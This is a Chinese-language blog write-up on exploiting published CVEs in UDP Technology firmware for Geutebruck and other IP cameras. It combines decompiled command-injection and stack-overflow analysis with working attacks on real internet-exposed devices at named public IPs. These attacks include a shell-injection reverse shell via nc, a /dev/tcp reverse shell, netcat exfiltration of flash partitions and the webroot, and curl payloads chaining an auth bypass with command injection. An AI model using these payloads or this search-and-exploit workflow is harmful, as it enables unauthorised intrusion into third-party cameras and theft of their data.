对于 UDPt 漏洞的跟踪实践

背景

事件的起源来自于这篇文章:

Randorisec 研究小组又一次在 Geutebruck 的摄像头固件中发掘出了大量漏洞。情况如下:

CGI

Short description

CVE

N/A

Authentication Bypass

CVE-2021-33543

certmngr.cgi

Command injection multiple parameters

CVE-2021-33544

countreport.cgi

Stack Buffer Overflow

CVE-2021-33545

encprofile.cgi

Stack Buffer Overflow

CVE-2021-33546

evnprofile.cgi

Stack Buffer Overflow

CVE-2021-33547

factory.cgi

Command injection in preserve parameter

CVE-2021-33548

instantrec.cgi

Stack Buffer Overflow

CVE-2021-33549

language.cgi

Command injection in date parameter

CVE-2021-33550

oem.cgi

Command injection in environment.lang parameter

CVE-2021-33551

simple_reclistjs.cgi

Command injection in date parameter

CVE-2021-33552

testcmd.cgi

Command injection in command parameter

CVE-2021-33553

tmpapp.cgi

Command injection in appfile.filename parameter

CVE-2021-33554

于是便就这这次事件,实践一下 IoT 利用一条龙,作为基础知识的补充。

固件获取

官方下载

UDP technology 公司为许多 IP 摄像机供应商提供固件,当然也包括了本次被审计的设备厂商 Geutebruck。

Randorisec 小组本次的目标是 UDPt 提供给 Geutebruck 的 IP Camera 的最新版本固件1.12.0.27。为了接下来的研究,我们首先需要搞到相应的固件。Randorisec 手中有真实设备,并由此获取到了固件,但我们只能另寻它路了。

首先想到的是从厂商官网下载。于是便去到 Geutebruck 官网,但苦于未能注册成功,没能获取到下载链接。遂转而求于 UDP technology 的官网(毕竟前者设备的固件实际上是后者提供的):https://vcatechnology.com/udp-technology/

在成功的注册与登陆之后,我们可以顺利获取到相应的固件文件:IPN_FW_V1.12.0.25.zip(md5sum: 3ab734d38f58bdf3080948c8caddb698)。解压之后得到 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 。这里就开始感觉不妙——文件是以 .enc 结尾的,这基本意味着固件是被加密的。还是先查看一下文件信息吧:

-rwxrw-rw-  1 dev2ero dev2ero  29M Jul 12 17:51 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc

Lab$ file ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 
ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc: data

Lab$ binwalk ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
……
13321807      0xCB464F        Zlib compressed data, default compression
13324093      0xCB4F3D        Zlib compressed data, default compression
13326658      0xCB5942        Zlib compressed data, default compression
13329325      0xCB63AD        Zlib compressed data, default compression
13331975      0xCB6E07        Zlib compressed data, default compression
13535768      0xCE8A18        Zlib compressed data, default compression
……

Lab$ binwalk -E ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
如下图

可以看到 binwalk 分析出其中包含了大量 Zlib 压缩文件格式。但实际上这只是因为分块加密导致 Zlib 压缩格式文件头对应的二进制值恰巧周期性出现。由熵图可以看出固件文件实际上几乎完全由均匀分布的数据组成,这是明显的被加密了的特征。

原本分析的初期思路上,刚迈开脚步就被阻塞在了这里。只得改换方案了。

Search & Hack & Dump

获取特定固件的路径有很多,但最简单的方法已经不好用了。不过既然 Randorisec 告诉了我们这么多漏洞,不如直接使用它们对互联网上的真实设备进行 GetShell?

那么接下来的问题就变成了——我们该如何在互联网上找到满足条件的真实设备进行渗透?这里就要请出诸如 Shodan、Zoomeye、FOFA、Quake 等网络空间测绘搜索引擎了。费了一番精力后我在这里选择了 Zoomeye:https://www.zoomeye.org/ 😎💦

好!接下来就可以……

咦?我得到了一个搜索公网设备的搜索引擎输入框,不过我应该在这里输入什么?😅

诸如 Zoomeye 等网络空间测绘系统,所搜索的服务数据实际上是对应设备的特定端口返回的数据。那不妨先使用本次出场的厂商名 Geutebruck 作为关键词进行搜索。

嗯,的确返回了不少结果,大部分设备也位于德国,这和 Geutebruck 是主供德国的德国厂商这条信息也吻合。挑选其中一个访问一下:

得到的是一个 G-Web 的登陆界面。经 Google 后可以确认 G-Web 的确是 Geutebruck 的IP Camera 的访问界面。

遂使用 Geutebruck 提供的漏洞(具体的漏洞分析放在了文章后面)进行攻击——失败……

可能是该摄像头已升级固件修复了漏洞?在使用脚本批量对于一部分 G-Web 进行 PoC 验证后,无一成功。

——这就比较诡异了,原因也有待考察。不过就眼下来说,难道这条获取固件的路径也被堵上了吗?💢

不,我们还有使用了 UDPt 所提供的固件的其它厂商设备,这使得生机尚存。遂以同样的方式搜索暴露于互联网上的设备,但却收获甚寥。

想来应该是我的搜索姿势有误……变换了几种搜索约束也是收效甚微,到底该以什么特征搜索其它使用了 UDPt 固件的设备呢?owl 帮助我找到了一条 twitter:https://twitter.com/RandoriSec/status/1291723991175102466

这条 twitter 是关于此前 Randorisec 挖掘到的 UDPt 的更早的漏洞。评论区的老哥1给出了又一个网络空间测绘引擎 ONYPHE 中用到的查询语句:category:datascan device.productvendor:Geutebruck device.class:Camera。使用它我们可以精准定位到网络上的 Geutebruck 摄像头,而这条十分好用的查询语句的小缺点便是它用到了需要收费的高级搜索键。叒只得作罢。

好在老哥2给出了免费信息:

Nice ! And 3x more by searching for "/viewer/main.html" (to target other brands)

差点断掉的线索就这样续上了。使用"/viewer/main.html"作为搜索关键词,的确筛选出了大量其它厂商的 UDPt 固件设备。而这些设备的一个特征便是含有webroot/viewer/main.html文件。

Hack

由上一节的信息来搜索,我们顺利挑选了一位受害者:24.xxx.xxx.x:82。先访问下看看:

直接跳转到了 http://24.xxx.xxx.x:82/viewer/main.html。且没有经过任何认证直接给了访问者画面

我们使用 Randorisec 提过的 Nday 历史漏洞进行攻击。对于其中的一个漏洞进行 RCE,构造 Payload 如下:

http://24.xxx.xxx.x:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1%7C=2&()%20%7b%20%3a%3b%7d%3b%20nc%20AA.AAA.AAA.AA:BBBB%20-e%20/bin/bash=1

其中的AA.AAA.AAA.AA:BBBB是我们的攻击机的 IP:port。该 payload 使得远程进行如下代码执行:nc AA.AAA.AAA.AA:BBBB -e /bin/bash。同时在攻击机上监听 BBBB 端口 nc -l BBBB。这样就在我们的攻击机上获取了一个该摄像头的shell。

附另一种 nc 反弹 shell:

nc -vvlp 3000
bash -i >& /dev/tcp/60.205.205.99/3000 0>&1

Dump

有了shell,下一步就是获取文件系统了。

我们要直接下载文件系统里的文件吗?否。Linux的哲学是“一切皆文件”,那么存放固件的存储设备自然也不例外。先看一下 /dev/ 下都有些啥:

ls /dev
MAKEDEV
audio
bus
cmem
console
core
csl0
csl1
csl2
csl3
csl4
csl5
csl6
csl7
csl8
csl9
dev_dma
dev_i2c
dm365_adc
dm365mmap
dm368
drv8834
dsp
edma
eeprom
fd
full
gpio_dm36x
i2c
imxXXX
irqk
kmem
kmsg
log
loop
mem
mixer
mtd0
mtd0ro
mtd1
mtd10
mtd10ro
mtd11
mtd11ro
mtd1ro
mtd2
mtd2ro
mtd3
mtd3ro
mtd4
mtd4ro
mtd5
mtd5ro
mtd6
mtd6ro
mtd7
mtd7ro
mtd8
mtd8ro
mtd9
mtd9ro
mtdblock0
mtdblock1
mtdblock10
mtdblock11
mtdblock2
mtdblock3
mtdblock4
mtdblock5
mtdblock6
mtdblock7
mtdblock8
mtdblock9
mtdpart
net
null
port
ppp
ptmx
pts
random
rd
rtc0
shm
snd
sndstat
sound
spidev0.0
spidev1.0
stderr
stdin
stdout
tts
tty
urandom
usbdev1.1_ep00
usbdev1.1_ep81
v4l
vc
vcc
video2
video3
watchdog
zero

可以注意到其中的 mtd* 设备文件。

MTD(memory technology device内存技术设备)是用于访问memory设备(ROM、flash)的Linux的子系统。 (/dev/mtd): MTD字符驱动程序允许直接访问flash器件,通常用来在flash上创建文件系统,也可以用来直接访问不频繁修改的数据。 (dev/mtdblock): MTD块设备驱动程序可以让flash器件伪装成块设备,实际上它通过把整块的erase block放到ram里面进行访问,然后再更新到flash,用户可以在这个块设备上创建通常的文件系统。

所以说,我们只要把所有的mtd中的数据dump下来,里面肯定有我们想要的东西。

使用 mountscat /proc/mtd 获取相应的设备信息如下:

mount
rootfs on / type rootfs (rw)
/dev/root on / type cramfs (ro)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
tmpfs on /tmp type tmpfs (rw)
tmpfs on /var type tmpfs (rw)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/root on /dev/.static/dev type cramfs (ro)
tmpfs on /dev type tmpfs (rw)
devpts on /dev/pts type devpts (rw)
/dev/mtdpart/database_block on /mnt/db type jffs2 (ro)
/dev/mtdpart/rwfs_block on /mnt/rwfs type jffs2 (rw,sync)
/dev/mtdpart/rwfs2_block on /mnt/rwfs2 type jffs2 (rw,sync)
/dev/mtdpart/userfs_block on /mnt/userfs type jffs2 (rw,sync)
tmpfs on /mnt/ramdisk type tmpfs (rw)
/dev/mtdpart/rfs_block on /tmp/rfs type jffs2 (rw)

cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00300000 00020000 "bootloader"
mtd1: 00200000 00020000 "bootparams"
mtd2: 00200000 00020000 "dfkernel"
mtd3: 01000000 00020000 "dfrootfs"
mtd4: 00200000 00020000 "kernel"
mtd5: 02000000 00020000 "rootfs"
mtd6: 02000000 00020000 "userfs"
mtd7: 00800000 00020000 "database"
mtd8: 03c00000 00020000 "rwfs"
mtd9: 02800000 00020000 "rwfs2"
mtd10: 00100000 00020000 "rfs"
mtd11: 03a00000 00020000 "space"

我们将所有的 mtd* 设备文件下载下来,使用的依然是万能的 netcat:

# 攻击机
nc -l BBBB > mtdN
# 摄像头
nc AA.AAA.AAA.AA BBBB < /dev/mtdN

cat /proc/mtd 的输出我们可以看到 mtd5 对应的是 rootfs。

使用 binwalk 解压后,并没有找到 cgi 文件。发现 webroot 居然是 tmpfs 的 ramdisk。那就直接把 webroot 打包下载下来吧:

# 攻击机
nc -l BBBB | tar xfvz -
# 摄像头
cd webroot
tar cfz - * | nc AA.AAA.AAA.AA BBBB

最后拼凑出了文件系统样本,并得到了相应的 webroot 中包含的漏洞 cgi 文件。

漏洞分析

手中有了样本,不妨先来进行一波漏洞分析。

Command injection

certmngr.cgi

Command injection multiple parameters

依据交叉引用,定位到如下的 system 函数调用处:

int __fastcall sub_B7AC(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10, const char *a11)
{
……
  snprintf(
    s,
    0x1000u,
    "/usr/bin/openssl req -config %s -new -subj \"/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s\" -key %s -out %s",
    "/usr/local/ssl/.openssl.cnf",
    a3,
    a4,
    a5,
    a6,
    a7,
    a8,
    "/usr/local/ssl/.cap.key",
    a11);
  system(s);
  return 0;
}

可以看到 system 函数的参数 s 是使用 snprintf 构建的。所构建的参数如下:

/usr/bin/openssl req -config /usr/local/ssl/.openssl.cnf -new -subj "/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s" -key /usr/local/ssl/.cap.key -out %s

这里使用字符串拼接来构造所要执行的命令——若我们能控制此时的格式化字符串参数,就可以命令注入得到RCE了。

所以继续回溯参数传递,发现有两条路径可以直达 main:

int __fastcall sub_BE98(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10)
{
……
  sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, a9, a10, "/mnt/rwfs/addon/ssl/requestcsr.pem");
……
}

int main() {
……
  if ( !strcasecmp(v4, "createcert") )
  {
    sub_BE98((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, (int)v27, (int)v28);
    goto LABEL_3;
  }
……
}
int __fastcall sub_BF14(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, const char *a9, int a10)
{
……
  sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, (int)a9, a10, "/mnt/rwfs/addon/ssl/csr.pem");
……
}

int main() {
……
  if ( !strcasecmp(v4, "createselfcert") )
  {
    sub_BF14((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, v27, (int)v28);
LABEL_3:
    v9 = 0;
    goto LABEL_4;
  }
……
}

而在 main 中,这些参数的最终来源都是 url 中的可以被我们直接控制的请求参数:

  v3 = qCgiRequestParseQueries(0, 0);
  v4 = (char *)sub_A010(v3, "action");
  v19 = v4;
  v5 = (char *)sub_A010(v3, "group");
  v20 = v5;
  v12 = (char *)sub_A010(v3, "country");
  v21 = v12;
  v13 = (char *)sub_A010(v3, "state");
  v22 = v13;
  v14 = (char *)sub_A010(v3, "local");
  v23 = v14;
  v15 = (char *)sub_A010(v3, "organization");
  v24 = v15;
  ptr = (char *)sub_A010(v3, "organizationunit");
  v25 = ptr;
  v6 = (char *)sub_A010(v3, "commonname");
  v26 = v6;
  v7 = (char *)sub_A010(v3, "days");
  v27 = v7;
  v8 = (char *)sub_A010(v3, "type");
  v28 = v8;

多个用户可控的参数就构成了 RCE。

factory.cgi

Command injection in preserve parameter

依据交叉引用定位到 system 函数的调用处,发现全部存在于 main 函数中:

int main() {
……
    v11 = (const char *)(*(int (__fastcall **)(int, const char *, int))(v3 + 88))(v3, "preserve", 1);
    v16 = 0;
    memset(s, 0, sizeof(s));
    system("/etc/init.d/vca_daemon stop > /dev/null");
    system("echo factory.cgi >> /tmp/fsreset_reboot");
    if ( v11 )
    {
      *(&v15 + snprintf(&v15, 0x1FFu, "Run software factory default \n")) = 0;
      *(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
      v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
      v14[snprintf(v14, 0x1FFu, "%d", 99)] = 0;
      APPLOG_Write(3, 0, &v12, v13, v14, &v15);
      snprintf(&v16, 0x80u, "/usr/sbin/fsreset %s > /dev/null", v11);
      system("/usr/bin/dbsync > /dev/null");
      system(&v16);
    }
    else
    {
      *(&v15 + snprintf(&v15, 0x1FFu, "Run Hardware factory default \n")) = 0;
      *(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
      v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
      v14[snprintf(v14, 0x1FFu, "%d", 93)] = 0;
      APPLOG_Write(3, 0, &v12, v13, v14, &v15);
      system("/usr/bin/dbsync > /dev/null");
      system("/usr/sbin/fsreset > /dev/null");
    }
……
}

参数可控的位置只有 system(&v16) 处。回溯 v16 的来源,发现是来自于 preserve 参数。preserve 参数可控,故此处产生了一个命令注入。

language.cgi

Command injection in date parameter

由 popen 函数的交叉引用定位到漏洞点:

int main() {
……
  v25[0] = 0;
  memset(&v25[1], 0, 0x7Fu);
……
  pszDate = DEFINE_SearchParameter(v3, "date");
……
  snprintf(v25, 0x80u, "ls -1 /usr/www/language/*.xml");
  if ( pszDate )
  {
    strcat(v25, "-");
    strcat(v25, (const char *)pszDate);
    strcat(v25, "-*-*");
  }
  strcat(v25, " 2>  /dev/null | awk '{print \"\\\"\"$1\"\\\"$\"}'");
……
  v5 = popen(v25, "r");
……
}

经过命令拼接后,可见用户可控的 date 参数会在 v5 = popen(v25, "r"); 处造成命令注入。

oem.cgi

Command injection in environment.lang parameter

action 参数为空时,执行 RunSet 函数。RunSet 函数中,会将 environment.lang 参数的值拼接至/usr/sbin/xmlparam -f /usr/www/environment.xml -set web.lang= 后方构成完整命令并执行。这里就出现了命令注入。

int main() {
……
  v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "action", 0);
  if ( !v4 )
    goto LABEL_13;
……
LABEL_13:
    RunSet(v3); 
……
}

int RunSet(int a1) {
……
  v14 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(a1 + 88))(a1, "environment.lang", 0);
  if ( v14 )
  {
    snprintf(&s, 0x100u, "/usr/sbin/xmlparam -f %s -set web.lang=\"%s\"", "/usr/www/environment.xml", v14);
    v15 = popen(&s, "r");
……
}

simple_reclistjs.cgi

Command injection in date parameter

date 参数中的,直接在 main 函数中出现的字符串拼接导致的命令注入:

int main() {
……
  v25[0] = 0;
  memset(&v25[1], 0, 0x7Fu);
……
  pszDate = DEFINE_SearchParameter(v3, "date");
……
  snprintf(v25, 0x80u, "ls -lhrt /mnt/mmc");
  if ( pszDate )
  {
    strcat(v25, " | grep -e -");
    strcat(v25, (const char *)pszDate);
    strcat(v25, "-");
  }
  strcat(v25, " | grep ");
  strcat(v25, ".avi");
  strcat(v25, " | awk '{print \"\\\"/mnt/mmc/\" $9 \"\\\", \\\"\" $5 \"\\\"$\"}'");
……
  v5 = popen(v25, "r");
……
}

testcmd.cgi

Command injection in command parameter

v1 的值由 command 参数传入,并在下方的 popen 处导致命令注入:

int sub_88E8() {
……
  v1 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v0 + 88))(v0, "command", 0);
  if ( v1 )
  {
……
    v4 = popen(v1, "r");
……
}

向上回溯一级可知,此处的 sub_88E8 函数实际上就是 main 函数:

void __noreturn start(void (*a1)(void), int a2, int a3, int a4, ...)
{
……
  _libc_start_main(
    (int (__fastcall *)(int, char **, char **))sub_88E8,
……
}

tmpapp.cgi

Command injection in appfile.filename parameter

此处 appfile.filename 参数传入后用于与 "/var/app/tmp_" 字符串拼接成为完整路径。并在两种不同的执行路径下分别被传入 RunPackage 或 StartApp 函数中:

int main() {
……
  v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "appfile.filename", 0);
……
  v13 = (char *)malloc(v12);
  snprintf(v13, v12, "%s/%s%s", "/var/app", "tmp_", v4);
……
    if ( !strncasecmp(".pkg", v9, 4u) )
    {
      RunPackage(v13, v15);
      goto LABEL_25;
    }
    if ( !strncasecmp("start", v5, 6u) )
    {
      StartApp(v13, v6, v15);
      goto LABEL_25;
    }
……
}

首先,在 RunPackage 函数中,access(v5, 0) && mkdir(v5, 0x1FFu) 为 0 则对上述完整路径进行 ExtractFile。在 ExtractFile 中则将路径名拼接至 tar xf %s -C %s &> /dev/null命令中。构成命令注入。

int __fastcall RunPackage(const char *a1, int a2)
{
……
  if ( access(v5, 0) && mkdir(v5, 0x1FFu) )
  {
    if ( v5 )
      free(v5);
    result = 1;
  }
  else
  {
    ExtractFile(a1, v5);
……
}

int __fastcall ExtractFile(const char *a1, const char *a2)
{
……
  snprintf(&s, 0x200u, "tar xf %s -C %s &> /dev/null", a1, a2);
  v5 = popen(&s, "r");
……
}

类似的,在 StartApp 函数中,路径名会在 snprintf 函数处被拼接导致命令注入:

int __fastcall StartApp(const char *a1, const char *a2, const char *a3)
{
……
  snprintf(
    &s,
    0x200u,
    "/sbin/start-stop-daemon --start --quiet --oknodo --background --pidfile %s -m --exec %s %s &> /dev/null",
    a3,
    a1,
    a2);
  v7 = popen(&s, "r");
……
}

Stack Overflow

instantrec.cgi

进入 main 函数后我们不难看到,对于 v11 和 v16 两个栈变量使用了不安全的字符串操作函数 strcat。同时向上回溯作为函数参数被写入栈上的 pszOption 和 pszAction 两个变量,发现其来自于用户可控的参数 option 和 action。由于 option 和 action 是可以自定义内容且长度不限的字符串,故此处出现栈溢出漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char v11[16]; // [sp+8h] [bp-828h] BYREF
……
  char v16[12]; // [sp+608h] [bp-228h] BYREF
……
  pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
  pszAction = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
  pszOption = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "option");
  pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
  pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
  pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
  pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
  pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
……
  strcat(v16, ".");
  strcat(v16, (const char *)pszAction);
……
  if ( pszXML )
  {
    if ( v6 )
    {
……
      if ( pszOption )
      {
        strcat(v11, "|");
        strcat(v11, (const char *)pszOption);
        strcat(v11, "sec");
      }
      strcat(v11, "|");
      strcat(v11, v7);
……
}

encprofile.cgi

栈溢出漏洞,与上一例同理,只不过这次出现在 profile 参数上:

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char s[512]; // [sp+14h] [bp-22Ch] BYREF
……
  pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
  pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
  pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
  pszSchema = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "schema");
  pszListformat = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "listformat");
  pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
  pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
  v4 = (char *)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
  pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
  pszProfile = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"profile");
  pszName = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"name");
……  
  if ( pszProfile )
  {
    strcat(s, ".");
    strcat(s, (const char *)pszProfile);
……
}

evnprofile.cgi

栈溢出漏洞,与上一例同理,这次依然出现在 profile 参数上:

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char s[512]; // [sp+14h] [bp-22Ch] BYREF
……
  dword_1895C = sub_C78C(v9, "timekey");
  dword_1874C = sub_C78C(v9, "xmlschema");
  dword_18960 = sub_C78C(v9, "schema");
  dword_18964 = sub_C78C(v9, "listformat");
  dword_18958 = sub_C78C(v9, "nocmd");
  dword_18968 = sub_C78C(v9, "async");
  v14 = (char *)sub_C78C(v9, "action");
  dword_1896C = sub_C78C(v9, "debug");
  dword_18754 = sub_C78C(v9, "profile");
……  
  if ( dword_18754 )
  {
    strcat(s, ".");
    strcat(s, (const char *)dword_18754);
……
}

countreport.cgi

漏洞实践 POC

CVE-2017-5173 ~ CVE-2017-5174

 curl --socks5 127.0.0.1:7890 -v -d "type=ip&ip=eth0 1.1.1.1;pwd" -X POST http://24.185.116.6:82/uapi-cgi/viewer/testaction.cgi
failed

 curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 04:10:33 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 04:10:33 GMT
< Server: lighttpd/1.4.35
<
// print command : find /var/log -name "*" -type f | grep 1| | awk '{print "\"" $1 "\"$"}'
// print command : find /var/log -name "*" -type f | grep () { :;}; pwd | awk '{print "\"" $1 "\"$"}'
function logList() {
	this.logArray = [];
}

function logArray(name) {
	this.name = name;
}

var log = new logList();
log.logArray.push(new logArray("/tmp/www_ramdisk/uapi-cgi"));
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?&type=ip&ip=eth0%2024.185.116.6:82|pwd|x"
failed
 curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60 HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 04:18:38 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 04:18:43 GMT
< Server: lighttpd/1.4.35
<
#204|NTP.server.state|`sleep 5`|Couldn't resolve host

* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

CVE-2021-33543 ~ CVE-2021-33554

鉴权绕过。(--path-as-is参数避免curl自动优化掉url中的../)

 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /iij/../uapi-cgi/certmngr.cgi HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 08:19:50 GMT
< Content-Length: 0
< Date: Mon, 09 Aug 2021 08:19:50 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 08:28:21 GMT
< Content-Type: text/xml
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 08:28:29 GMT
< Server: lighttpd/1.4.35
<
<?xml version="1.0" encoding="UTF-8" ?>
<SSL>
	<result>OK</result>
	<description>Self create complete.</description>
</SSL>
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.27.12.81:82
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
> Host: 84.27.12.81:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 10:00:32 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 10:00:32 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.27.12.81:82
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
> Host: 84.27.12.81:82
> User-Agent: curl/7.64.1
> Accept: */*
> 
 curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/language.cgi?date=%24(sleep%205)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/language.cgi?date=%24(sleep%205) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 05:17:39 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 05:17:44 GMT
